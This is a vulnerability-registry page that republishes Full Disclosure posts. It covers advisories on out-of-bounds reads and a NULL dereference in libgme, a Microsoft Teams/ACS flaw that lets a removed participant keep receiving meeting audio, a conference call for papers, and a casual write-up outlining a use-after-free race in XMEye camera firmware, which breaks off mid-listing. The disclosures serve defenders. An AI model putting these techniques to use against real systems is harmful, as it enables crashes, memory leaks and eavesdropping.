- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
581 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0422
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
[NotCVE-2026-0018] game-music-emu (libgme) through 0.6.5 Unbounded GYM Command Loop Allows Heap Out-of-Bounds Read
Summary
----------------------------------------------------------------------------
NotCVE Advisory — NotCVE-2026-0018
----------------------------------------------------------------------------
[-] Summary:
An out-of-bounds read in the GYM playback path of game-music-emu (libgme),
the open-source video game music emulation library, allows an attacker who
supplies a crafted .gym file to read heap memory past the end of the
allocation holding the file contents, potentially terminating the process.
CVSS:3.1 5.4 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L).
[-] Affected:
game-music-emu (libgme) through 0.6.5 (present since at least 0.5.5), and
master as of commit fe8da4b. No fixed version is verified: upstream issue
#166, opened on 13 July 2026, describes the parse_frame defect and has had
no maintainer response.
[-] Technical Description:
The command loop of Gym_Emu::parse_frame() in gme/Gym_Emu.cpp is
while ( (cmd = *pos++) != 0 )
and terminates only on a 0x00 byte, with no bound against data_end.
Operands are then read unconditionally after the opcode: int data = *pos++
and, for a YM2612 port-0 register write (cmd == 1), a second
int data2 = *pos++. A file whose final frame ends mid-command therefore
reads 1 to 2 bytes past the end of the buffer. The if ( pos >= data_end )
check only runs after the loop has already walked off the end.
A second, broader unbounded scan exists in run_dac(), which looks ahead
with while ( (cmd = *p++) != 0 ) and no data_end bound at all. When the
final frame contains a DAC write (YM2612 register 0x2A on port 0) and no
0x00 follows before the end of the allocation, it can walk arbitrarily far
past the buffer, stopping on whatever zero byte adjacent heap memory
supplies. This second path is confirmed by reading the source at master
and 0.6.5, but is not exercised by the supplied proof-of-concept files.
Reachability: both paths run from gme_start_track() as soon as playback
begins (Music_Emu::start_track() -> ... -> Gym_Emu::play_frame() ->
parse_frame()). The file only needs the 428-byte GYMX header for
gme_identify_header() to route it to Gym_Emu. FFmpeg's
libavformat/libgme.c and VLC's modules/demux/gme.c both hand
attacker-supplied bytes to this path. The metadata (track length) path is
not affected.
Weaknesses:
CWE-125: Out-of-bounds Read
CWE-126: Buffer Over-read
CAPEC-540: Overread Buffers
[-] Credit:
Discovered by netspacer1124 (https://github.com/netspacer1124).
[-] Full Details and Updates:
https://notcve.org/notcve/NotCVE-2026-0018
[-] Main References:
https://github.com/libgme/game-music-emu/issues/166
https://raw.githubusercontent.com/libgme/game-music-emu/0.6.5/gme/Gym_Emu.cpp
https://github.com/libgme/game-music-emu
[-] About NotCVE:
NotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to
vulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?
Request a NotCVE: https://notcve.org/form/ · Contributors:
https://notcve.org/hall/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | game-music-emu libgme |
Affected:
unknown
|
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GCVE-1988-2026-0421
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
[NotCVE-2026-0017] game-music-emu (libgme) 0.6.5 and Earlier AY Loader NULL Pointer Dereference Allows Denial of Service
Summary
----------------------------------------------------------------------------
NotCVE Advisory — NotCVE-2026-0017
----------------------------------------------------------------------------
[-] Summary:
A NULL pointer dereference in the AY file loader of game-music-emu
(libgme), the open-source video game music emulation library, allows an
attacker who supplies a crafted .ay file to terminate any application that
begins playback of it. CVSS:3.1 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H).
[-] Affected:
game-music-emu (libgme) 0.6.5 and earlier (present in 0.6.0 and 0.6.5),
and master as of commit fe8da4b. Default builds; no fixed version is
verified.
[-] Technical Description:
get_data() resolves the format's internal 16-bit relative offsets and
returns 0 when an offset word is 0x0000, as well as when the target would
fall outside the file buffer. The data-block copy loop in
Ay_Emu::start_track_() (gme/Ay_Emu.cpp) uses that result without testing
it:
- the block's source pointer comes from get_data( file, blocks, 0 ) and
is never compared against NULL;
- the only guard before the copy, if ( len > uint32_t (file.end - in) ),
compares len against the low 32 bits of the buffer's end address when
in == NULL, so it does not reliably clamp;
- execution reaches memcpy( mem.ram + addr, in, len ) with in == NULL.
The process terminates with SIGSEGV. The invalid access is a read from
address 0, so no attacker-controlled data is read or written; the impact
is denial of service of the process that parses the file.
Reachability: the AY handler is part of a default build
(option(USE_GME_AY ... ON)) and is reached from the public entry point
gme_start_track() via Music_Emu::start_track(). The condition is a
two-byte field in an otherwise structurally valid file, so it survives
type detection and track enumeration. FFmpeg documents optional use of the
library; the researcher additionally names VLC, Kodi and Audacious as
consumers.
Commit ae10a8f ("Ay_Emu.cpp: Don't read farther than buffer allows",
July 2026) changed get_data() to return 0 instead of asserting when the
pointer is out of range. That widens the set of inputs that produce a NULL
return in release builds and does not add the missing check.
Weaknesses:
CWE-476: NULL Pointer Dereference
CWE-252: Unchecked Return Value
CAPEC-165: File Manipulation
[-] Credit:
Discovered by netspacer1124 (https://github.com/netspacer1124).
[-] Full Details and Updates:
https://notcve.org/notcve/NotCVE-2026-0017
[-] Main References:
https://github.com/libgme/game-music-emu
https://github.com/libgme/game-music-emu/blob/0.6.5/gme/Ay_Emu.cpp
https://github.com/libgme/game-music-emu/commit/ae10a8f
[-] About NotCVE:
NotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to
vulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?
Request a NotCVE: https://notcve.org/form/ · Contributors:
https://notcve.org/hall/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | game-music-emu libgme |
Affected:
unknown
|
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GCVE-1988-2026-0420
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
[NotCVE-2026-0016] game-music-emu VGM Command Interpreter Unvalidated 0xE0 PCM Seek Offset Allows Out-of-Bounds Read and Denial of Service
Summary
----------------------------------------------------------------------------
NotCVE Advisory — NotCVE-2026-0016
----------------------------------------------------------------------------
[-] Summary:
An out-of-bounds read in the VGM command interpreter of game-music-emu
(libgme), the open-source video game music emulation library, allows an
attacker who supplies a crafted .vgm or .vgz file to crash the hosting
process or to have adjacent heap memory influence the rendered audio, via
a PCM seek command whose offset is never validated. CVSS:3.1 7.1
(AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H).
[-] Affected:
game-music-emu (libgme) through 0.6.5, and master as of commit fe8da4b.
Default builds; no fixed version is verified.
[-] Technical Description:
Vgm_Emu_Impl::run_commands() in gme/Vgm_Emu_Impl.cpp handles VGM command
0xE0 (cmd_pcm_seek) by building an interior pointer straight from file
content:
case cmd_pcm_seek:
pcm_pos = pcm_data + pos [3] * 0x1000000L + pos [2] * 0x10000L +
pos [1] * 0x100L + pos [0];
pos += 4;
break;
pcm_data points into the decompressed file buffer, set by a preceding 0x67
(cmd_data_block) command. The 32-bit little-endian operand is
attacker-controlled and is compared neither against the declared
data-block size nor against data_end, so pcm_pos can be placed up to 4 GiB
past the end of the allocation. The following 0x80-0x8F (cmd_pcm_delay)
case then executes write_pcm( vgm_time, *pcm_pos++ ), dereferencing the
pointer without a bounds check of its own. The reporter's AddressSanitizer
log records a SEGV on a read at Vgm_Emu_Impl.cpp:255 in run_commands().
When the computed address is unmapped the read faults and the process
terminates; when it is mapped, the byte read becomes part of the decoded
audio, so memory adjacent to the file buffer can influence
attacker-observable output.
Reachability: the VGM emulator is part of the default build, and the
command stream runs during gme_start_track(), on the file-open path. VLC's
modules/demux/gme.c calls gme_start_track() from its demuxer Open
function, and FFmpeg links the library when built with --enable-libgme. No
authentication, privileges or configuration change are needed; the file
only has to reach a libgme consumer.
Upstream issue #165 reports a related but different overread in the same
function (unchecked command argument bytes); it is not this defect.
Weaknesses:
CWE-823: Use of Out-of-range Pointer Offset
CWE-125: Out-of-bounds Read
CAPEC-540: Overread Buffers
CAPEC-129: Pointer Manipulation
[-] Credit:
Discovered by netspacer1124 (https://github.com/netspacer1124).
[-] Full Details and Updates:
https://notcve.org/notcve/NotCVE-2026-0016
[-] Main References:
https://github.com/libgme/game-music-emu
https://raw.githubusercontent.com/libgme/game-music-emu/0.6.5/gme/Vgm_Emu_Impl.cpp
https://github.com/videolan/vlc/blob/master/modules/demux/gme.c
[-] About NotCVE:
NotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to
vulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?
Request a NotCVE: https://notcve.org/form/ · Contributors:
https://notcve.org/hall/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | game-music-emu VGM Command |
Affected:
unknown
|
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GCVE-1988-2026-0419
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
Teams meeting audio and roster data remain accessible via ACS Call Automation connectCall after a participant is removed from the meeting
Summary
Hi Full Disclosure team,
I'm not a traditional security researcher by background - I found this
while working with the ACS and Teams SDKs and followed it through to a full
writeup and PoC. I've done my best to be accurate and responsible
throughout (reporting to MSRC first, giving advance notice of this
disclosure date, and only testing against meetings/tenants I own), but if
anything here is imprecise or doesn't match community conventions, I
apologize in advance and welcome corrections.
*Vendor: MicrosoftProduct: Azure Communication Services (Call Automation) /
Microsoft TeamsVulnerability class: Improper Access Control (CWE-284 /
CWE-863) - missing re-authorization after a privilege/session-revoking
eventReported to vendor: 2026-08-19MSRC case number: VULN-213672Public
disclosure date: 2026-09-15*
--- Description ---
Azure Communication Services (ACS) Call Automation's connectCall operation
can attach an independent media/control session to an in-progress Microsoft
Teams meeting using only the meeting's serverCallId. This identifier is
available to any current participant in the meeting - it's surfaced by both
the Teams desktop and web clients, and by the ACS Calling SDK's own
call.info.getServerCallId() API (used here purely as a clean, reproducible
capture method, not because ACS is a privileged or required path to the
value).
As long as the target meeting's lobby is disabled, possession of the
serverCallId alone is treated as sufficient authorization for connectCall
to keep delivering:
- Live audio, via Call Automation media streaming, and
- Participant/roster metadata, via ParticipantsUpdated events
to the caller's own ACS resource - which can belong to a completely
different Azure subscription/tenant than the meeting organizer's.
Critically, this access is never revalidated against the caller's current
membership in the meeting. If a participant who previously captured the
serverCallId and established a connectCall session is later explicitly
removed ("kicked") from the meeting by the organizer, that removal has no
effect on the independent connectCall session: live audio and roster
metadata continue to be delivered to the attacker's ACS resource for the
remainder of the meeting.
Affected component: Azure Communication Services - Call Automation API,
connectCall operation; the Microsoft Teams meeting authorization boundary
(lobby / admission control / participant removal).
Impact: An unauthorized party can continue listening to live meeting audio
and tracking every participant's presence/roster changes after having been
explicitly removed by the meeting organizer - undermining the one control
Teams gives hosts to enforce "this person is no longer part of the
meeting." This affects the confidentiality of every participant in the
meeting, not just the removed attacker, since their live audio and presence
data keeps flowing to a third party the organizer explicitly tried to
exclude.
--- Steps to reproduce ---
Full harness source, setup instructions, and screenshots are in the repo
linked below (poc/README.md). Summary:
1. The attacker joins the target Teams meeting, which has its lobby
disabled, as a normal participant and retrieves the meeting's internal
server call identifier using a documented capability of the Azure
Communication Services calling SDK.
2. The attacker starts a Call Automation media server and instructs Azure
Communication Services to attach an independent session to the meeting
using that captured identifier, requesting live audio streaming. Azure
immediately begins delivering live audio and participant roster updates to
the attacker's own communication resource, confirmed by the connection and
streaming-started notifications it sends back.
3. The meeting organizer removes the attacker's original participant from
the meeting using Teams' built-in "Remove from meeting" action.
4. Observed result: the attacker's original Teams client session
disconnects as expected, but the independent session from step 2 is not
torn down. Live audio and roster metadata continue to arrive at the
attacker's communication resource for the remainder of the meeting, with no
corresponding disconnection notification for that session.
--- Disclosure timeline ---
2026-08-19 - Reported to Microsoft (MSRC case VULN-213672).
2026-08-27 - MSRC acknowledged the report (automated response: reviewing,
next steps pending).
2026-09-01 - I requested a status update on reproduction on Microsoft's
side, then confirmed an intended public disclosure date of 2026-09-14.
2026-09-13 - I notified MSRC that public disclosure would follow the next
day and offered to delay if MSRC responded within ~24 hours.
2026-09-15 - No further response received from MSRC. Public disclosure, as
previously stated and with prior notice given.
Full writeup, PoC source, and screenshots:
https://github.com/Tryptophan/teams-meeting-audio-vulnerability
Please let me know if you have any questions!
Best,
Jacob Greenway
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Sep/43 | technical-description |
| https://github.com/Tryptophan/teams-meeting-audio… | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Teams meeting audio |
Affected:
unknown
|
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"value": "Hi Full Disclosure team,\n\nI\u0027m not a traditional security researcher by background - I found this\nwhile working with the ACS and Teams SDKs and followed it through to a full\nwriteup and PoC. I\u0027ve done my best to be accurate and responsible\nthroughout (reporting to MSRC first, giving advance notice of this\ndisclosure date, and only testing against meetings/tenants I own), but if\nanything here is imprecise or doesn\u0027t match community conventions, I\napologize in advance and welcome corrections.\n\n\n\n\n\n\n*Vendor: MicrosoftProduct: Azure Communication Services (Call Automation) /\nMicrosoft TeamsVulnerability class: Improper Access Control (CWE-284 /\nCWE-863) - missing re-authorization after a privilege/session-revoking\neventReported to vendor: 2026-08-19MSRC case number: VULN-213672Public\ndisclosure date: 2026-09-15*\n\n--- Description ---\n\nAzure Communication Services (ACS) Call Automation\u0027s connectCall operation\ncan attach an independent media/control session to an in-progress Microsoft\nTeams meeting using only the meeting\u0027s serverCallId. This identifier is\navailable to any current participant in the meeting - it\u0027s surfaced by both\nthe Teams desktop and web clients, and by the ACS Calling SDK\u0027s own\ncall.info.getServerCallId() API (used here purely as a clean, reproducible\ncapture method, not because ACS is a privileged or required path to the\nvalue).\n\nAs long as the target meeting\u0027s lobby is disabled, possession of the\nserverCallId alone is treated as sufficient authorization for connectCall\nto keep delivering:\n- Live audio, via Call Automation media streaming, and\n- Participant/roster metadata, via ParticipantsUpdated events\n\nto the caller\u0027s own ACS resource - which can belong to a completely\ndifferent Azure subscription/tenant than the meeting organizer\u0027s.\n\nCritically, this access is never revalidated against the caller\u0027s current\nmembership in the meeting. If a participant who previously captured the\nserverCallId and established a connectCall session is later explicitly\nremoved (\"kicked\") from the meeting by the organizer, that removal has no\neffect on the independent connectCall session: live audio and roster\nmetadata continue to be delivered to the attacker\u0027s ACS resource for the\nremainder of the meeting.\n\nAffected component: Azure Communication Services - Call Automation API,\nconnectCall operation; the Microsoft Teams meeting authorization boundary\n(lobby / admission control / participant removal).\n\nImpact: An unauthorized party can continue listening to live meeting audio\nand tracking every participant\u0027s presence/roster changes after having been\nexplicitly removed by the meeting organizer - undermining the one control\nTeams gives hosts to enforce \"this person is no longer part of the\nmeeting.\" This affects the confidentiality of every participant in the\nmeeting, not just the removed attacker, since their live audio and presence\ndata keeps flowing to a third party the organizer explicitly tried to\nexclude.\n\n--- Steps to reproduce ---\n\nFull harness source, setup instructions, and screenshots are in the repo\nlinked below (poc/README.md). Summary:\n\n1. The attacker joins the target Teams meeting, which has its lobby\ndisabled, as a normal participant and retrieves the meeting\u0027s internal\nserver call identifier using a documented capability of the Azure\nCommunication Services calling SDK.\n2. The attacker starts a Call Automation media server and instructs Azure\nCommunication Services to attach an independent session to the meeting\nusing that captured identifier, requesting live audio streaming. Azure\nimmediately begins delivering live audio and participant roster updates to\nthe attacker\u0027s own communication resource, confirmed by the connection and\nstreaming-started notifications it sends back.\n3. The meeting organizer removes the attacker\u0027s original participant from\nthe meeting using Teams\u0027 built-in \"Remove from meeting\" action.\n4. Observed result: the attacker\u0027s original Teams client session\ndisconnects as expected, but the independent session from step 2 is not\ntorn down. Live audio and roster metadata continue to arrive at the\nattacker\u0027s communication resource for the remainder of the meeting, with no\ncorresponding disconnection notification for that session.\n\n--- Disclosure timeline ---\n\n2026-08-19 - Reported to Microsoft (MSRC case VULN-213672).\n2026-08-27 - MSRC acknowledged the report (automated response: reviewing,\nnext steps pending).\n2026-09-01 - I requested a status update on reproduction on Microsoft\u0027s\nside, then confirmed an intended public disclosure date of 2026-09-14.\n2026-09-13 - I notified MSRC that public disclosure would follow the next\nday and offered to delay if MSRC responded within ~24 hours.\n2026-09-15 - No further response received from MSRC. Public disclosure, as\npreviously stated and with prior notice given.\n\nFull writeup, PoC source, and screenshots:\nhttps://github.com/Tryptophan/teams-meeting-audio-vulnerability\n\nPlease let me know if you have any questions!\n\nBest,\nJacob Greenway\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
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GCVE-1988-2026-0418
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
CFP No cON Name 2k26 - Palma, Mallorca - Spain
Summary
No cON Name 2026 - Palma, Mallorca - Balearic Islands
************************************
***** Call For Papers ******
************************************
https://www.noconname.org/call-for-papers/
Exact place not disclosed until a few weeks before due celebration.
* INTRODUCTIONfulldisclosure () seclists org
most respected hacker conferences in Palma and Spain, NcN (No cON
Name). We will cellebrate as the last edition, at the moment 1 track:
* Cybersecurity Track (November 26-27th)
community.
* FORMAT & REQUIREMENTS
- Language: English ( We will choose almost 75% ) or Spanish
in next paragraph, and filled in through the web site
organization to evaluate the proposal.
evidences, code, etc)
deadline (detailed in the important dates section below):
delivered in the conferences notebook. MANDATORY
- Presentation and exhibition material: All the material
day of the event nimbly. MANDATORY
* CONTENTS
We will require the following info to review your CFP:
DATA DESCRIPTION
Preferred contact method Alias, email, X account, Telegram, Signaletc.
Name & Surname*
Alias *
Email *
Phone nº *
X id
City/Country of residence *
Proposal
Proposal type * Speaking presentation or Workshop presentation
Representing * Individual or company name
Category * See: RELEVANT TOPICS
Workshop (presentation + demo): 45 minutes
or 1,5 hours.
Title of the paper *: Presentation's / Workshops Title
risks.
and perhaps solutions to the current issue.
Description * Presentation's / Workshop's description
experience, your current interests.
* RELEVANT TOPICS
The areas of interest that have been proposed, not restricted to, are:
- Offensive security.
- Evading / In-depth research of Phishing / Malware.
- Security & exploiting SCADA / ICS.
- Internet privacy and net neutrality (EPIC).
- Honeypots / Honeynets.
- Web explorers' security.
- Hardware hacking.
- New vulnerabilities and 0-day exploits.
- Healthcare sucurity / risks
- (in)Security in the automotive industry
- Software Testing/Fuzzing.
- Advanced Penetration testing techniques.
- Mobile Application Security-Threats and Exploits.
- Network and Router Hacking
- Mobile, Satellite, IP networks security
- SDR (Software defined radio)
- Hacking virtualized envirorments
- Computer/electronic forensics
- Bluetooth vulnerabilities.
- Videconference application vulnerabilities.
* DEADLINES
- CFP Requests closing: October 15th 2026.
- CFP Approval: October, 20th 2026.
- Materials presentation due: November, 1st 2026
- (Cybersecurity Track) Conference's date: November, 26th,27th 2026
* SENDING YOUR CFP
All requests must be submitted through our site at:
https://www.noconname.org/call-for-papers/
- EVALUATION CRITERIA FOR PROPOSALS
wing score:
presentation
appreciated)
industry.
- Your speaking reputation 10%
- Relevant topic proposed by the No cON Name staff 5%
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Sep/48 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ | |
| https://www.noconname.org/call-for-papers/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | CFP No cON |
Affected:
unknown
|
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"value": "No cON Name 2026 - Palma, Mallorca - Balearic Islands\n\n************************************\n*****\u00a0 Call For Papers\u00a0 \u00a0 \u00a0 \u00a0 ******\n************************************\n\nhttps://www.noconname.org/call-for-papers/\n\nExact place not disclosed until a few weeks before due celebration.\n\n\u00a0 \u00a0 * INTRODUCTIONfulldisclosure () seclists org\n\nmost\u00a0 respected hacker conferences in\u00a0 Palma and Spain, NcN (No cON\nName). We will cellebrate as the last edition, at the moment 1 track:\n\n\u00a0 \u00a0 * Cybersecurity Track (November 26-27th)\n\n\ncommunity.\n\n\u00a0 \u00a0 * FORMAT \u0026 REQUIREMENTS\n\u00a0 - Language: English ( We will choose almost 75% ) or Spanish\n\n\u00a0 \u00a0 in next paragraph, and filled in through the web site\n\n\u00a0 \u00a0 organization to evaluate the proposal.\n\n\u00a0 \u00a0 evidences, code, etc)\n\n\n\n\ndeadline (detailed in the important dates section below):\n\n\u00a0 \u00a0 delivered in the conferences notebook. MANDATORY\n\u00a0 - Presentation and exhibition\u00a0 material: All the material\n\n\u00a0 \u00a0 day of the event nimbly. MANDATORY\n\n\u00a0 \u00a0 * CONTENTS\nWe will require the following info to review your CFP:\n\nDATA\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0DESCRIPTION\nPreferred contact method\u00a0 \u00a0 \u00a0Alias, email, X account, Telegram, Signaletc.\n\u00a0Name \u0026 Surname*\n\u00a0Alias *\n\u00a0Email *\n\u00a0Phone n\u00ba *\n\u00a0X id\n\u00a0City/Country of residence *\nProposal\n\u00a0Proposal type *\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Speaking presentation or Workshop presentation\n\u00a0Representing *\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Individual or company name\n\u00a0Category *\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 See: RELEVANT TOPICS\n\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Workshop (presentation + demo):\u00a0 45 minutes\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0or 1,5 hours.\n\u00a0Title of the paper *:\u00a0 \u00a0 \u00a0 \u00a0Presentation\u0027s / Workshops Title\n\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0risks.\n\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0and perhaps solutions to the current issue.\n\u00a0Description *\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Presentation\u0027s / Workshop\u0027s description\n\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0experience, your current interests.\n\n\u00a0 \u00a0 * RELEVANT TOPICS\nThe areas of interest that have been proposed, not restricted to, are:\n\n\u00a0 - Offensive security.\n\u00a0 - Evading / In-depth research of Phishing / Malware.\n\u00a0 - Security \u0026 exploiting SCADA / ICS.\n\u00a0 - Internet privacy and net neutrality (EPIC).\n\u00a0 - Honeypots / Honeynets.\n\u00a0 - Web explorers\u0027 security.\n\u00a0 - Hardware hacking.\n\u00a0 - New vulnerabilities and 0-day exploits.\n\u00a0 - Healthcare sucurity / risks\n\u00a0 - (in)Security in the automotive industry\n\u00a0 - Software Testing/Fuzzing.\n\u00a0 - Advanced Penetration testing techniques.\n\u00a0 - Mobile Application Security-Threats and Exploits.\n\u00a0 - Network and Router Hacking\n\u00a0 - Mobile, Satellite, IP networks security\n\u00a0 - SDR (Software defined radio)\n\u00a0 - Hacking virtualized envirorments\n\u00a0 - Computer/electronic forensics\n\u00a0 - Bluetooth vulnerabilities.\n\n\u00a0 - Videconference application vulnerabilities.\n\n\u00a0 \u00a0 * DEADLINES\n\n\u00a0 - CFP Requests closing: October 15th 2026.\n\u00a0 - CFP Approval: October, 20th 2026.\n\u00a0 - Materials presentation due: November, 1st\u00a0 2026\n\u00a0 - (Cybersecurity Track) Conference\u0027s date: November, 26th,27th 2026\n\n\n\u00a0 \u00a0 * SENDING YOUR CFP\nAll requests must be submitted through our site at:\n\u00a0 https://www.noconname.org/call-for-papers/\n\n\n\u00a0 \u00a0 - EVALUATION CRITERIA FOR PROPOSALS\n\nwing score:\n\n\n\u00a0 \u00a0 presentation\n\n\u00a0 \u00a0 appreciated)\n\n\u00a0 \u00a0 industry.\n\u00a0 - Your speaking reputation \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a010%\n\u00a0 - Relevant topic proposed by the No cON Name staff \u00a0 \u00a0 \u00a0 \u00a0 5%\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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"title": "CFP No cON Name 2k26 - Palma, Mallorca - Spain",
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GCVE-1988-2026-0417
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
UAF in XMEye Security Camera
Summary
checksec:
$ checksec --file Sofia
[*] '/redacted/Sofia'
Arch: arm-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8000)
Stack: Executable
RWX: Has RWX segments
this ones interesting. sofia uses an internal flash fs called WFS. per
an online search:
WFS is a proprietary filesystem developed by Hikvision for its Network
Video Recorders (NVRs) and Digital Video Recorders (DVRs).
[1]
(https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL)
How it works: Instead of formatting hard drives or flash storage with
general-purpose filesystems (like FAT32 or NTFS),
Hikvision devices write video data directly to the storage media
using WFS. [1]
(https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL)
Purpose: This design minimizes fragmentation and maximizes
data-writing speeds for 24/7 video streams.
Note: Because it is proprietary, standard computers
(Windows/Mac/Linux) cannot natively read a WFS-formatted drive. Data
recovery professionals use specialized tools like UFS Explorer to
reconstruct and extract videos from these drives. [1]
(https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL)
ok whatever that means. anyway, per some existing research, wfs holds
a block buffer cache, which is a pool of 128 buffers that hold ru’d
512-byte flash blocks in ram. each buffer has a refcount that tracks
how many threads are using it. then once refcount is 0 obv we free it
and it can be recycled.
one of the functions that handle this (per the proximity browser) is
int __fastcall sub_5B8BE8(int result)
{
int v1; // r3
if ( result )
{
v1 = *(unsigned __int8 *)(result + 18);
*(_BYTE *)(result + 18) = v1 - 1;
if ( !v1 )
return sub_5A882C("Trying to free free buffer\n");
}
return result;
}
interestingly it does warn if v1 (if the buffer doesnt exist) is free
that a double free is happening. it doesnt actually do anything about
it however. also since this is multithreaded, there is a clear as day
toctou. the same can be seen for looking up an entry and refcount
incrementing:
int __fastcall sub_5B8C10(int a1, __int64 a2)
{
int i; // r1
for ( i = dword_AD2DB4[(unsigned __int8)a2]; i; i = *(_DWORD *)(i + 24) )
{
if ( *(_DWORD *)i == a1 && *(_QWORD *)(i + 8) == a2 )
{
++*(_BYTE *)(i + 18);
return i;
}
}
return i;
}
again, no locking. this could mean we could get a toctou and
consequently a uaf vuln. maybe if we fuck with this carefully and look
at the fields we could potentially get arb r/w.
after researching online the struct layout looks like this:
struct {
int device_no;
// ??? size 4
uint64_t block_number;
uint8_t uptodate;
uint8_t dirty;
uint8_t refcount;
uint8_t paddingidk;
uintptr_t hash_prev;
uintptr_t hash_next;
uintptr_t lru_prev;
uintptr_t lru_next;
uintptr_t dataptr;
}
unfortunately i couldnt give a fuck about actualyl exploiting it, but
there is a chance someone could just use the ptrs to leak stuff if
youre careful enough. this struct is 40 bytes big, and there are
allocations of similar size with controllable data. youll have to
groom allocations so these two threads get to play with the buffer
properly instead of getting some random buffre.
to exploit this (by theory):
have thread x do a lookup. it finds your target buf and incremenmts
refcount and returns a ptr to the buffer.
have another thread decrement at the right time to race with thread x.
refcount is now 0, even though thread x is holding it.
the other thread gets a new buffer, walking along the lru linked list
to find a buffer with refcount 0. it finds thread x’s buffer, sets
refcount to 1, evicts it and repurposes it for a different block.
uaf, nice. we can now write stuff over the stale ref.
the buffer eviction logic:
int __fastcall sub_5B8C64(int a1, __int64 a2)
{
int result; // r0
int v6; // r10
int v7; // r3
int v8; // r2
int v9; // r3
int v10; // r2
int v11; // r3
int v12; // r1
